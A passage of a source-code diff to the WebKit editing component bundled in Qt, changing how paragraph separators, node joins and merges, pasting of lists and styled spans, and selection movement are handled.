+// When inserting a new line, we want to avoid nesting empty divs if we can.  Otherwise, when
+// pasting, it's easy to have each new line be a div deeper than the previous.  E.g., in the case
+// below, we want to insert at ^ instead of |.
+// <div>foo<div>bar</div>|</div>^
+static Element* highestVisuallyEquivalentDiv(Element* startBlock)
+{
+    Element* curBlock = startBlock;
+    while (!curBlock->nextSibling() && curBlock->parentElement()->hasTagName(divTag)) {
+        NamedNodeMap* attributes = curBlock->parentElement()->attributes(true);
+        if (attributes && !attributes->isEmpty())
+            break;
+        curBlock = curBlock->parentElement();
+    }
+    return curBlock;
+}
+
 InsertParagraphSeparatorCommand::InsertParagraphSeparatorCommand(Document *document, bool mustUseDefaultParagraphElement) 
     : CompositeEditCommand(document)
     , m_mustUseDefaultParagraphElement(mustUseDefaultParagraphElement)
@@ -214,7 +230,13 @@ void InsertParagraphSeparatorCommand::doApply()
                 // When inserting the newline after the blockquote, we don't want to apply the original style after the insertion
                 shouldApplyStyleAfterInsertion = false;
             }
-            insertNodeAfter(blockToInsert, startBlock);
+
+            // Most of the time we want to stay at the nesting level of the startBlock (e.g., when nesting within lists).  However,
+            // for div nodes, this can result in nested div tags that are hard to break out of.
+            Element* siblingNode = startBlock;
+            if (blockToInsert->hasTagName(divTag))
+                siblingNode = highestVisuallyEquivalentDiv(startBlock);
+            insertNodeAfter(blockToInsert, siblingNode);
         }
 
         // Recreate the same structure in the new paragraph.
diff --git a/src/3rdparty/webkit/WebCore/editing/JoinTextNodesCommand.cpp b/src/3rdparty/webkit/WebCore/editing/JoinTextNodesCommand.cpp
index f981481..fa0987d 100644
--- a/src/3rdparty/webkit/WebCore/editing/JoinTextNodesCommand.cpp
+++ b/src/3rdparty/webkit/WebCore/editing/JoinTextNodesCommand.cpp
@@ -45,6 +45,10 @@ void JoinTextNodesCommand::doApply()
     if (m_text1->nextSibling() != m_text2)
         return;
 
+    Node* parent = m_text2->parentNode();
+    if (!parent || !parent->isContentEditable())
+        return;
+    
     ExceptionCode ec = 0;
     m_text2->insertData(0, m_text1->data(), ec);
     if (ec)
@@ -59,7 +63,7 @@ void JoinTextNodesCommand::doUnapply()
         return;
 
     Node* parent = m_text2->parentNode();
-    if (!parent)
+    if (!parent || !parent->isContentEditable())
         return;
 
     ExceptionCode ec = 0;
diff --git a/src/3rdparty/webkit/WebCore/editing/MergeIdenticalElementsCommand.cpp b/src/3rdparty/webkit/WebCore/editing/MergeIdenticalElementsCommand.cpp
index 99ba286..f56f726 100644
--- a/src/3rdparty/webkit/WebCore/editing/MergeIdenticalElementsCommand.cpp
+++ b/src/3rdparty/webkit/WebCore/editing/MergeIdenticalElementsCommand.cpp
@@ -42,7 +42,7 @@ MergeIdenticalElementsCommand::MergeIdenticalElementsCommand(PassRefPtr<Element>
 
 void MergeIdenticalElementsCommand::doApply()
 {
-    if (m_element1->nextSibling() != m_element2)
+    if (m_element1->nextSibling() != m_element2 || !m_element1->isContentEditable() || !m_element2->isContentEditable())
         return;
 
     m_atChild = m_element2->firstChild();
@@ -68,7 +68,7 @@ void MergeIdenticalElementsCommand::doUnapply()
     RefPtr<Node> atChild = m_atChild.release();
 
     Node* parent = m_element2->parent();
-    if (!parent)
+    if (!parent || !parent->isContentEditable())
         return;
 
     ExceptionCode ec = 0;
diff --git a/src/3rdparty/webkit/WebCore/editing/MoveSelectionCommand.cpp b/src/3rdparty/webkit/WebCore/editing/MoveSelectionCommand.cpp
index 0a2d3f4..62f638f 100644
--- a/src/3rdparty/webkit/WebCore/editing/MoveSelectionCommand.cpp
+++ b/src/3rdparty/webkit/WebCore/editing/MoveSelectionCommand.cpp
@@ -31,8 +31,8 @@
 
 namespace WebCore {
 
-MoveSelectionCommand::MoveSelectionCommand(PassRefPtr<DocumentFragment> fragment, const Position& position, bool smartMove) 
-    : CompositeEditCommand(position.node()->document()), m_fragment(fragment), m_position(position), m_smartMove(smartMove)
+MoveSelectionCommand::MoveSelectionCommand(PassRefPtr<DocumentFragment> fragment, const Position& position, bool smartInsert, bool smartDelete) 
+    : CompositeEditCommand(position.node()->document()), m_fragment(fragment), m_position(position), m_smartInsert(smartInsert), m_smartDelete(smartDelete)
 {
     ASSERT(m_fragment);
 }
@@ -60,7 +60,7 @@ void MoveSelectionCommand::doApply()
         pos = Position(positionNode, positionOffset);
     }
 
-    deleteSelection(m_smartMove);
+    deleteSelection(m_smartDelete);
 
     // If the node for the destination has been removed as a result of the deletion,
     // set the destination to the ending point after the deletion.
@@ -74,7 +74,7 @@ void MoveSelectionCommand::doApply()
         // Document was modified out from under us.
         return;
     }
-    applyCommandToComposite(ReplaceSelectionCommand::create(positionNode->document(), m_fragment, true, m_smartMove));
+    applyCommandToComposite(ReplaceSelectionCommand::create(positionNode->document(), m_fragment, true, m_smartInsert));
 }
 
 EditAction MoveSelectionCommand::editingAction() const
diff --git a/src/3rdparty/webkit/WebCore/editing/MoveSelectionCommand.h b/src/3rdparty/webkit/WebCore/editing/MoveSelectionCommand.h
index 253c02c..6780caa 100644
--- a/src/3rdparty/webkit/WebCore/editing/MoveSelectionCommand.h
+++ b/src/3rdparty/webkit/WebCore/editing/MoveSelectionCommand.h
@@ -34,20 +34,21 @@ class DocumentFragment;
 
 class MoveSelectionCommand : public CompositeEditCommand {
 public:
-    static PassRefPtr<MoveSelectionCommand> create(PassRefPtr<DocumentFragment> fragment, const Position& position, bool smartMove = false)
+    static PassRefPtr<MoveSelectionCommand> create(PassRefPtr<DocumentFragment> fragment, const Position& position, bool smartInsert = false, bool smartDelete = false)
     {
-        return adoptRef(new MoveSelectionCommand(fragment, position, smartMove));
+        return adoptRef(new MoveSelectionCommand(fragment, position, smartInsert, smartDelete));
     }
 
 private:
-    MoveSelectionCommand(PassRefPtr<DocumentFragment>, const Position&, bool smartMove);
+    MoveSelectionCommand(PassRefPtr<DocumentFragment>, const Position&, bool smartInsert, bool smartDelete);
 
     virtual void doApply();
     virtual EditAction editingAction() const;
     
     RefPtr<DocumentFragment> m_fragment;
     Position m_position;
-    bool m_smartMove;
+    bool m_smartInsert;
+    bool m_smartDelete;
 };
 
 } // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/editing/RemoveNodeCommand.cpp b/src/3rdparty/webkit/WebCore/editing/RemoveNodeCommand.cpp
index 62a36be..f6d6a4b 100644
--- a/src/3rdparty/webkit/WebCore/editing/RemoveNodeCommand.cpp
+++ b/src/3rdparty/webkit/WebCore/editing/RemoveNodeCommand.cpp
@@ -42,7 +42,7 @@ RemoveNodeCommand::RemoveNodeCommand(PassRefPtr<Node> node)
 void RemoveNodeCommand::doApply()
 {
     Node* parent = m_node->parentNode();
-    if (!parent)
+    if (!parent || !parent->isContentEditable())
         return;
 
     m_parent = parent;
@@ -56,7 +56,7 @@ void RemoveNodeCommand::doUnapply()
 {
     RefPtr<Node> parent = m_parent.release();
     RefPtr<Node> refChild = m_refChild.release();
-    if (!parent)
+    if (!parent || !parent->isContentEditable())
         return;
 
     ExceptionCode ec;
diff --git a/src/3rdparty/webkit/WebCore/editing/ReplaceSelectionCommand.cpp b/src/3rdparty/webkit/WebCore/editing/ReplaceSelectionCommand.cpp
index b40dab2..e4acf85 100644
--- a/src/3rdparty/webkit/WebCore/editing/ReplaceSelectionCommand.cpp
+++ b/src/3rdparty/webkit/WebCore/editing/ReplaceSelectionCommand.cpp
@@ -104,6 +104,22 @@ static bool isInterchangeConvertedSpaceSpan(const Node *node)
            static_cast<const HTMLElement *>(node)->getAttribute(classAttr) == convertedSpaceSpanClassString;
 }
 
+static Position positionAvoidingPrecedingNodes(Position pos)
+{
+    // If we're already on a break, it's probably a placeholder and we shouldn't change our position.
+    if (pos.node()->hasTagName(brTag))
+        return pos;
+
+    // We also stop when changing block flow elements because even though the visual position is the
+    // same.  E.g.,
+    //   <div>foo^</div>^
+    // The two positions above are the same visual position, but we want to stay in the same block.
+    Node* stopNode = pos.node()->enclosingBlockFlowElement();
+    while (stopNode != pos.node() && VisiblePosition(pos) == VisiblePosition(pos.next()))
+        pos = pos.next();
+    return pos;
+}
+
 ReplacementFragment::ReplacementFragment(Document* document, DocumentFragment* fragment, bool matchStyle, const VisibleSelection& selection)
     : m_document(document),
       m_fragment(fragment),
@@ -468,6 +484,17 @@ void ReplaceSelectionCommand::negateStyleRulesThatAffectAppearance()
                 e->getInlineStyleDecl()->setProperty(CSSPropertyDisplay, CSSValueInline);
             if (e->renderer() && e->renderer()->style()->floating() != FNONE)
                 e->getInlineStyleDecl()->setProperty(CSSPropertyFloat, CSSValueNone);
+
+            // Undo the effects of page zoom if we have an absolute font size.  When we copy, we
+            // compute the new font size as an absolute size so pasting will cause the zoom to be
+            // applied twice.
+            if (e->renderer() && e->renderer()->style() && e->renderer()->style()->effectiveZoom() != 1.0
+                && e->renderer()->style()->fontDescription().isAbsoluteSize()) {
+                float newSize = e->renderer()->style()->fontDescription().specifiedSize() / e->renderer()->style()->effectiveZoom();
+                ExceptionCode ec = 0;
+                e->style()->setProperty(CSSPropertyFontSize, String::number(newSize), false, ec);
+                ASSERT(!ec);
+            }
         }
         if (node == m_lastLeafInserted)
             break;
@@ -638,10 +665,11 @@ void ReplaceSelectionCommand::handleStyleSpans()
     }
     
     // There are non-redundant styles on sourceDocumentStyleSpan, but there is no
-    // copiedRangeStyleSpan.  Clear the redundant styles from sourceDocumentStyleSpan
-    // and return.
+    // copiedRangeStyleSpan.  Remove the span, because it could be surrounding block elements,
+    // and apply the styles to its children.
     if (sourceDocumentStyle->length() > 0 && !copiedRangeStyleSpan) {
-        setNodeAttribute(static_cast<Element*>(sourceDocumentStyleSpan), styleAttr, sourceDocumentStyle->cssText());
+        copyStyleToChildren(sourceDocumentStyleSpan, sourceDocumentStyle.get()); 
+        removeNodePreservingChildren(sourceDocumentStyleSpan);
         return;
     }
     
@@ -673,6 +701,34 @@ void ReplaceSelectionCommand::handleStyleSpans()
     setNodeAttribute(static_cast<Element*>(copiedRangeStyleSpan), styleAttr, copiedRangeStyle->cssText());
 }
 
+// Take the style attribute of a span and apply it to it's children instead.  This allows us to
+// convert invalid HTML where a span contains block elements into valid HTML while preserving
+// styles.
+void ReplaceSelectionCommand::copyStyleToChildren(Node* parentNode, const CSSMutableStyleDeclaration* parentStyle)
+{
+    ASSERT(parentNode->hasTagName(spanTag));
+    for (Node* childNode = parentNode->firstChild(); childNode; childNode = childNode->nextSibling()) {
+        if (childNode->isTextNode() || !isBlock(childNode) || childNode->hasTagName(preTag)) {
+            // In this case, put a span tag around the child node.
+            RefPtr<Node> newSpan = parentNode->cloneNode(false);
+            setNodeAttribute(static_cast<Element*>(newSpan.get()), styleAttr, parentStyle->cssText());
+            insertNodeAfter(newSpan, childNode);
+            ExceptionCode ec = 0;
+            newSpan->appendChild(childNode, ec);
+            ASSERT(!ec);
+            childNode = newSpan.get();
+        } else if (childNode->isHTMLElement()) {
+            // Copy the style attribute and merge them into the child node.  We don't want to override
+            // existing styles, so don't clobber on merge.
+            RefPtr<CSSMutableStyleDeclaration> newStyle = parentStyle->copy();
+            HTMLElement* childElement = static_cast<HTMLElement*>(childNode);
+            RefPtr<CSSMutableStyleDeclaration> existingStyles = childElement->getInlineStyleDecl()->copy();
+            existingStyles->merge(newStyle.get(), false);
+            setNodeAttribute(childElement, styleAttr, existingStyles->cssText());
+        }
+    }
+}
+
 void ReplaceSelectionCommand::mergeEndIfNeeded()
 {
     if (!m_shouldMergeEnd)
@@ -752,9 +808,7 @@ void ReplaceSelectionCommand::doApply()
     bool startIsInsideMailBlockquote = nearestMailBlockquote(insertionPos.node());
     
     if ((selectionStartWasStartOfParagraph && selectionEndWasEndOfParagraph && !startIsInsideMailBlockquote) ||
-        startBlock == currentRoot ||
-        (startBlock && startBlock->renderer() && startBlock->renderer()->isListItem()) ||
-        selectionIsPlainText)
+        startBlock == currentRoot || isListItem(startBlock) || selectionIsPlainText)
         m_preventNesting = false;
     
     if (selection.isRange()) {
@@ -847,7 +901,12 @@ void ReplaceSelectionCommand::doApply()
         frame->clearTypingStyle();
     
     bool handledStyleSpans = handleStyleSpansBeforeInsertion(fragment, insertionPos);
-    
+
+    // We don't want the destination to end up inside nodes that weren't selected.  To avoid that, we move the
+    // position forward without changing the visible position so we're still at the same visible location, but
+    // outside of preceding tags.
+    insertionPos = positionAvoidingPrecedingNodes(insertionPos);
+
     // FIXME: When pasting rich content we're often prevented from heading down the fast path by style spans.  Try
     // again here if they've been removed.
     
@@ -871,12 +930,20 @@ void ReplaceSelectionCommand::doApply()
     RefPtr<Node> node = refNode->nextSibling();
     
     fragment.removeNode(refNode);
-    insertNodeAtAndUpdateNodesInserted(refNode, insertionPos);
+
+    Node* blockStart = enclosingBlock(insertionPos.node());
+    if ((isListElement(refNode.get()) || (isStyleSpan(refNode.get()) && isListElement(refNode->firstChild())))
+        && blockStart->renderer()->isListItem())
+        refNode = insertAsListItems(refNode, blockStart, insertionPos);
+    else
+        insertNodeAtAndUpdateNodesInserted(refNode, insertionPos);
 
     // Mutation events (bug 22634) may have already removed the inserted content
     if (!refNode->inDocument())
         return;
 
+    bool plainTextFragment = isPlainTextMarkup(refNode.get());
+
     while (node) {
         Node* next = node->nextSibling();
         fragment.removeNode(node);
@@ -887,6 +954,8 @@ void ReplaceSelectionCommand::doApply()
             return;
 
         refNode = node;
+        if (node && plainTextFragment)
+            plainTextFragment = isPlainTextMarkup(node.get());
         node = next;
     }
     
@@ -913,7 +982,7 @@ void ReplaceSelectionCommand::doApply()
     
     bool interchangeNewlineAtEnd = fragment.hasInterchangeNewlineAtEnd();
 
-    if (shouldRemoveEndBR(endBR, originalVisPosBeforeEndBR))
+    if (endBR && (plainTextFragment || shouldRemoveEndBR(endBR, originalVisPosBeforeEndBR)))
         removeNodeAndPruneAncestors(endBR);
     
     // Determine whether or not we should merge the end of inserted content with what's after it before we do
@@ -956,9 +1025,15 @@ void ReplaceSelectionCommand::doApply()
         if (selectionEndWasEndOfParagraph || !isEndOfParagraph(endOfInsertedContent) || next.isNull()) {
             if (!isStartOfParagraph(endOfInsertedContent)) {
                 setEndingSelection(endOfInsertedContent);
-                // Use a default paragraph element (a plain div) for the empty paragraph, using the last paragraph
-                // block's style seems to annoy users.
-                insertParagraphSeparator(true);
+                Node* enclosingNode = enclosingBlock(endOfInsertedContent.deepEquivalent().node());
+                if (isListItem(enclosingNode)) {
+                    RefPtr<Node> newListItem = createListItemElement(document());
+                    insertNodeAfter(newListItem, enclosingNode);
+                    setEndingSelection(VisiblePosition(Position(newListItem, 0)));
+                } else
+                    // Use a default paragraph element (a plain div) for the empty paragraph, using the last paragraph
+                    // block's style seems to annoy users.
+                    insertParagraphSeparator(true);
 
                 // Select up to the paragraph separator that was added.
                 lastPositionToSelect = endingSelection().visibleStart().deepEquivalent();
@@ -1020,6 +1095,11 @@ void ReplaceSelectionCommand::doApply()
         }
     }
     
+    // If we are dealing with a fragment created from plain text
+    // no style matching is necessary.
+    if (plainTextFragment)
+        m_matchStyle = false;
+        
     completeHTMLReplacement(lastPositionToSelect);
 }
 
@@ -1102,6 +1182,47 @@ void ReplaceSelectionCommand::insertNodeBeforeAndUpdateNodesInserted(PassRefPtr<
     updateNodesInserted(nodeToUpdate);
 }
 
+// If the user is inserting a list into an existing list, instead of nesting the list,
+// we put the list items into the existing list.
+Node* ReplaceSelectionCommand::insertAsListItems(PassRefPtr<Node> listElement, Node* insertionBlock, const Position& insertPos)
+{
+    while (listElement->hasChildNodes() && isListElement(listElement->firstChild()) && listElement->childNodeCount() == 1)
+        listElement = listElement->firstChild();
+
+    bool isStart = isStartOfParagraph(insertPos);
+    bool isEnd = isEndOfParagraph(insertPos);
+    bool isMiddle = !isStart && !isEnd;
+    Node* lastNode = insertionBlock;
+
+    // If we're in the middle of a list item, we should split it into two separate
+    // list items and insert these nodes between them.
+    if (isMiddle) {
+        int textNodeOffset = insertPos.offsetInContainerNode();
+        if (insertPos.node()->isTextNode() && textNodeOffset > 0)
+            splitTextNode(static_cast<Text*>(insertPos.node()), textNodeOffset);
+        splitTreeToNode(insertPos.node(), lastNode, true);
+    }
+
+    while (RefPtr<Node> listItem = listElement->firstChild()) {
+        ExceptionCode ec = 0;
+        listElement->removeChild(listItem.get(), ec);
+        ASSERT(!ec);
+        if (isStart || isMiddle)
+            insertNodeBefore(listItem, lastNode);
+        else if (isEnd) {
+            insertNodeAfter(listItem, lastNode);
+            lastNode = listItem.get();
+        } else
+            ASSERT_NOT_REACHED();
+    }
+    if (isStart || isMiddle)
+        lastNode = lastNode->previousSibling();
+    if (isMiddle)
+        insertNodeAfter(createListItemElement(document()), lastNode);
+    updateNodesInserted(lastNode);
+    return lastNode;
+}
+
 void ReplaceSelectionCommand::updateNodesInserted(Node *node)
 {
     if (!node)
diff --git a/src/3rdparty/webkit/WebCore/editing/ReplaceSelectionCommand.h b/src/3rdparty/webkit/WebCore/editing/ReplaceSelectionCommand.h
index 1cb93c3..e995e79 100644
--- a/src/3rdparty/webkit/WebCore/editing/ReplaceSelectionCommand.h
+++ b/src/3rdparty/webkit/WebCore/editing/ReplaceSelectionCommand.h
@@ -54,6 +54,7 @@ private:
     void insertNodeAfterAndUpdateNodesInserted(PassRefPtr<Node> insertChild, Node* refChild);
     void insertNodeAtAndUpdateNodesInserted(PassRefPtr<Node>, const Position&);
     void insertNodeBeforeAndUpdateNodesInserted(PassRefPtr<Node> insertChild, Node* refChild);
+    Node* insertAsListItems(PassRefPtr<Node>, Node* insertionNode, const Position&);
 
     void updateNodesInserted(Node*);
     bool shouldRemoveEndBR(Node*, const VisiblePosition&);
@@ -68,6 +69,7 @@ private:
     
     void negateStyleRulesThatAffectAppearance();
     void handleStyleSpans();
+    void copyStyleToChildren(Node* parentNode, const CSSMutableStyleDeclaration* parentStyle);
     void handlePasteAsQuotationNode();
     
     virtual void removeNodePreservingChildren(Node*);
diff --git a/src/3rdparty/webkit/WebCore/editing/SelectionController.cpp b/src/3rdparty/webkit/WebCore/editing/SelectionController.cpp
index 00672f2..1af4ac3 100644
--- a/src/3rdparty/webkit/WebCore/editing/SelectionController.cpp
+++ b/src/3rdparty/webkit/WebCore/editing/SelectionController.cpp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2004, 2008 Apple Inc. All rights reserved.
+ * Copyright (C) 2004, 2008, 2009, 2010 Apple Inc. All rights reserved.
  *
  * Redistribution and use in source and binary forms, with or without
  * modification, are permitted provided that the following conditions
@@ -47,6 +47,8 @@
 #include "Range.h"
 #include "RenderTheme.h"
 #include "RenderView.h"
+#include "SecureTextInput.h"
+#include "Settings.h"
 #include "TextIterator.h"
 #include "TypingCommand.h"
 #include "htmlediting.h"
@@ -64,12 +66,16 @@ const int NoXPosForVerticalArrowNavigation = INT_MIN;
 SelectionController::SelectionController(Frame* frame, bool isDragCaretController)
     : m_frame(frame)
     , m_xPosForVerticalArrowNavigation(NoXPosForVerticalArrowNavigation)
+    , m_granularity(CharacterGranularity)
+    , m_caretBlinkTimer(this, &SelectionController::caretBlinkTimerFired)
     , m_needsLayout(true)
     , m_absCaretBoundsDirty(true)
     , m_lastChangeWasHorizontalExtension(false)
     , m_isDragCaretController(isDragCaretController)
     , m_isCaretBlinkingSuspended(false)
     , m_focused(frame && frame->page() && frame->page()->focusController()->focusedFrame() == frame)
+    , m_caretVisible(isDragCaretController)
+    , m_caretPaint(true)
 {
 }
 
@@ -99,19 +105,21 @@ void SelectionController::moveTo(const Position &base, const Position &extent, E
     setSelection(VisibleSelection(base, extent, affinity), true, true, userTriggered);
 }
 
-void SelectionController::setSelection(const VisibleSelection& s, bool closeTyping, bool clearTypingStyle, bool userTriggered)
+void SelectionController::setSelection(const VisibleSelection& s, bool closeTyping, bool clearTypingStyle, bool userTriggered, TextGranularity granularity)
 {
+    m_granularity = granularity;
+
     m_lastChangeWasHorizontalExtension = false;
 
     if (m_isDragCaretController) {
         invalidateCaretRect();
-        m_sel = s;
+        m_selection = s;
         m_needsLayout = true;
         invalidateCaretRect();
         return;
     }
     if (!m_frame) {
-        m_sel = s;
+        m_selection = s;
         return;
     }
 
@@ -133,19 +141,20 @@ void SelectionController::setSelection(const VisibleSelection& s, bool closeTypi
     if (clearTypingStyle)
         m_frame->clearTypingStyle();
         
-    if (m_sel == s)
+    if (m_selection == s)
         return;
     
-    VisibleSelection oldSelection = m_sel;
+    VisibleSelection oldSelection = m_selection;
 
-    m_sel = s;
+    m_selection = s;
     
     m_needsLayout = true;
     
     if (!s.isNone())
         m_frame->setFocusedNodeIfNeeded();
     
-    m_frame->selectionLayoutChanged();
+    updateAppearance();
+
     // Always clear the x position used for vertical arrow navigation.
     // It will be restored by the vertical arrow navigation code if necessary.
     m_xPosForVerticalArrowNavigation = NoXPosForVerticalArrowNavigation;
@@ -183,10 +192,10 @@ void SelectionController::nodeWillBeRemoved(Node *node)
     if (node && highestAncestor(node)->nodeType() == Node::DOCUMENT_FRAGMENT_NODE)
         return;
     
-    bool baseRemoved = removingNodeRemovesPosition(node, m_sel.base());
-    bool extentRemoved = removingNodeRemovesPosition(node, m_sel.extent());
-    bool startRemoved = removingNodeRemovesPosition(node, m_sel.start());
-    bool endRemoved = removingNodeRemovesPosition(node, m_sel.end());
+    bool baseRemoved = removingNodeRemovesPosition(node, m_selection.base());
+    bool extentRemoved = removingNodeRemovesPosition(node, m_selection.extent());
+    bool startRemoved = removingNodeRemovesPosition(node, m_selection.start());
+    bool endRemoved = removingNodeRemovesPosition(node, m_selection.end());
     
     bool clearRenderTreeSelection = false;
     bool clearDOMTreeSelection = false;
@@ -200,12 +209,12 @@ void SelectionController::nodeWillBeRemoved(Node *node)
         // Change the base and extent to the start and end, but don't re-validate the
         // selection, since doing so could move the start and end into the node
         // that is about to be removed.
-        if (m_sel.isBaseFirst())
-            m_sel.setWithoutValidation(m_sel.start(), m_sel.end());
+        if (m_selection.isBaseFirst())
+            m_selection.setWithoutValidation(m_selection.start(), m_selection.end());
         else
-            m_sel.setWithoutValidation(m_sel.end(), m_sel.start());
+            m_selection.setWithoutValidation(m_selection.end(), m_selection.start());
     // FIXME: This could be more efficient if we had an isNodeInRange function on Ranges.
-    } else if (comparePositions(m_sel.start(), Position(node, 0)) == -1 && comparePositions(m_sel.end(), Position(node, 0)) == 1) {
+    } else if (comparePositions(m_selection.start(), Position(node, 0)) == -1 && comparePositions(m_selection.end(), Position(node, 0)) == 1) {
         // If we did nothing here, when this node's renderer was destroyed, the rect that it 
         // occupied would be invalidated, but, selection gaps that change as a result of 
         // the removal wouldn't be invalidated.
@@ -214,7 +223,7 @@ void SelectionController::nodeWillBeRemoved(Node *node)
     }
 
     if (clearRenderTreeSelection) {
-        RefPtr<Document> document = m_sel.start().node()->document();
+        RefPtr<Document> document = m_selection.start().node()->document();
         document->updateStyleIfNeeded();
         if (RenderView* view = toRenderView(document->renderer()))
             view->clearSelection();
@@ -231,26 +240,26 @@ void SelectionController::willBeModified(EAlteration alter, EDirection direction
     if (m_lastChangeWasHorizontalExtension)
         return;
 
-    Position start = m_sel.start();
-    Position end = m_sel.end();
+    Position start = m_selection.start();
+    Position end = m_selection.end();
     // FIXME: This is probably not correct for right and left when the direction is RTL.
     switch (direction) {
         case RIGHT:
         case FORWARD:
-            m_sel.setBase(start);
-            m_sel.setExtent(end);
+            m_selection.setBase(start);
+            m_selection.setExtent(end);
             break;
         case LEFT:
         case BACKWARD:
-            m_sel.setBase(end);
-            m_sel.setExtent(start);
+            m_selection.setBase(end);
+            m_selection.setExtent(start);
             break;
     }
 }
 
 TextDirection SelectionController::directionOfEnclosingBlock()
 {
-    Node* n = m_sel.extent().node();
+    Node* n = m_selection.extent().node();
     Node* enclosingBlockNode = enclosingBlock(n);
     if (!enclosingBlockNode)
         return LTR;
@@ -260,9 +269,36 @@ TextDirection SelectionController::directionOfEnclosingBlock()
     return LTR;
 }
 
+VisiblePosition SelectionController::positionForPlatform(bool isGetStart) const
+{
+    Position pos;
+    Settings* settings = m_frame ? m_frame->settings() : 0;
+    if (settings && settings->editingBehavior() == EditingMacBehavior)
+        pos = isGetStart ? m_selection.start() : m_selection.end();
+    else {
+        // Linux and Windows always extend selections from the extent endpoint.
+        // FIXME: VisibleSelection should be fixed to ensure as an invariant that
+        // base/extent always point to the same nodes as start/end, but which points
+        // to which depends on the value of isBaseFirst. Then this can be changed
+        // to just return m_sel.extent().
+        pos = m_selection.isBaseFirst() ? m_selection.end() : m_selection.start();
+    }
+    return VisiblePosition(pos, m_selection.affinity());
+}
+
+VisiblePosition SelectionController::startForPlatform() const
+{
+    return positionForPlatform(true);
+}
+
+VisiblePosition SelectionController::endForPlatform() const
+{
+    return positionForPlatform(false);
+}
+
 VisiblePosition SelectionController::modifyExtendingRight(TextGranularity granularity)
 {
-    VisiblePosition pos(m_sel.extent(), m_sel.affinity());
+    VisiblePosition pos(m_selection.extent(), m_selection.affinity());
 
     // The difference between modifyExtendingRight and modifyExtendingForward is:
     // modifyExtendingForward always extends forward logically.
@@ -293,11 +329,11 @@ VisiblePosition SelectionController::modifyExtendingRight(TextGranularity granul
             pos = modifyExtendingForward(granularity);
     }
     return pos;
-}    
+}
         
 VisiblePosition SelectionController::modifyExtendingForward(TextGranularity granularity)
 {
-    VisiblePosition pos(m_sel.extent(), m_sel.affinity());
+    VisiblePosition pos(m_selection.extent(), m_selection.affinity());
     switch (granularity) {
         case CharacterGranularity:
             pos = pos.next(true);
@@ -315,16 +351,18 @@ VisiblePosition SelectionController::modifyExtendingForward(TextGranularity gran
             pos = nextParagraphPosition(pos, xPosForVerticalArrowNavigation(EXTENT));
             break;
         case SentenceBoundary:
-            pos = endOfSentence(VisiblePosition(m_sel.end(), m_sel.affinity()));
+            pos = endOfSentence(endForPlatform());
             break;
         case LineBoundary:
-            pos = logicalEndOfLine(VisiblePosition(m_sel.end(), m_sel.affinity()));
+            pos = endForPlatform();
+            pos.setAffinity(UPSTREAM);
+            pos = logicalEndOfLine(pos);
             break;
         case ParagraphBoundary:
-            pos = endOfParagraph(VisiblePosition(m_sel.end(), m_sel.affinity()));
+            pos = endOfParagraph(endForPlatform());
             break;
         case DocumentBoundary:
-            pos = VisiblePosition(m_sel.end(), m_sel.affinity());
+            pos = endForPlatform();
             if (isEditablePosition(pos.deepEquivalent()))
                 pos = endOfEditableContent(pos);
             else
@@ -341,9 +379,9 @@ VisiblePosition SelectionController::modifyMovingRight(TextGranularity granulari
     switch (granularity) {
         case CharacterGranularity:
             if (isRange()) 
-                pos = VisiblePosition(m_sel.end(), m_sel.affinity());
+                pos = VisiblePosition(m_selection.end(), m_selection.affinity());
             else
-                pos = VisiblePosition(m_sel.extent(), m_sel.affinity()).right(true);
+                pos = VisiblePosition(m_selection.extent(), m_selection.affinity()).right(true);
             break;
         case WordGranularity:
         case SentenceGranularity:
@@ -367,38 +405,38 @@ VisiblePosition SelectionController::modifyMovingForward(TextGranularity granula
     switch (granularity) {
         case CharacterGranularity:
             if (isRange()) 
-                pos = VisiblePosition(m_sel.end(), m_sel.affinity());
+                pos = VisiblePosition(m_selection.end(), m_selection.affinity());
             else
-                pos = VisiblePosition(m_sel.extent(), m_sel.affinity()).next(true);
+                pos = VisiblePosition(m_selection.extent(), m_selection.affinity()).next(true);
             break;
         case WordGranularity:
-            pos = nextWordPosition(VisiblePosition(m_sel.extent(), m_sel.affinity()));
+            pos = nextWordPosition(VisiblePosition(m_selection.extent(), m_selection.affinity()));
             break;
         case SentenceGranularity:
-            pos = nextSentencePosition(VisiblePosition(m_sel.extent(), m_sel.affinity()));
+            pos = nextSentencePosition(VisiblePosition(m_selection.extent(), m_selection.affinity()));
             break;
         case LineGranularity: {
             // down-arrowing from a range selection that ends at the start of a line needs
             // to leave the selection at that line start (no need to call nextLinePosition!)
-            pos = VisiblePosition(m_sel.end(), m_sel.affinity());
+            pos = endForPlatform();
             if (!isRange() || !isStartOfLine(pos))
                 pos = nextLinePosition(pos, xPosForVerticalArrowNavigation(START));
             break;
         }
         case ParagraphGranularity:
-            pos = nextParagraphPosition(VisiblePosition(m_sel.end(), m_sel.affinity()), xPosForVerticalArrowNavigation(START));
+            pos = nextParagraphPosition(endForPlatform(), xPosForVerticalArrowNavigation(START));
             break;
         case SentenceBoundary:
-            pos = endOfSentence(VisiblePosition(m_sel.end(), m_sel.affinity()));
+            pos = endOfSentence(endForPlatform());
             break;
         case LineBoundary:
-            pos = logicalEndOfLine(VisiblePosition(m_sel.end(), m_sel.affinity()));
+            pos = logicalEndOfLine(endForPlatform());
             break;
         case ParagraphBoundary:
-            pos = endOfParagraph(VisiblePosition(m_sel.end(), m_sel.affinity()));
+            pos = endOfParagraph(endForPlatform());
             break;
         case DocumentBoundary:
-            pos = VisiblePosition(m_sel.end(), m_sel.affinity());
+            pos = endForPlatform();
             if (isEditablePosition(pos.deepEquivalent()))
                 pos = endOfEditableContent(pos);
             else
@@ -411,7 +449,7 @@ VisiblePosition SelectionController::modifyMovingForward(TextGranularity granula
 
 VisiblePosition SelectionController::modifyExtendingLeft(TextGranularity granularity)
 {
-    VisiblePosition pos(m_sel.extent(), m_sel.affinity());
+    VisiblePosition pos(m_selection.extent(), m_selection.affinity());
 
     // The difference between modifyExtendingLeft and modifyExtendingBackward is:
     // modifyExtendingBackward always extends backward logically.
@@ -445,7 +483,7 @@ VisiblePosition SelectionController::modifyExtendingLeft(TextGranularity granula
        
 VisiblePosition SelectionController::modifyExtendingBackward(TextGranularity granularity)
 {
-    VisiblePosition pos(m_sel.extent(), m_sel.affinity());
+    VisiblePosition pos(m_selection.extent(), m_selection.affinity());
 
     // Extending a selection backward by word or character from just after a table selects
     // the table.  This "makes sense" from the user perspective, esp. when deleting.
@@ -468,16 +506,16 @@ VisiblePosition SelectionController::modifyExtendingBackward(TextGranularity gra
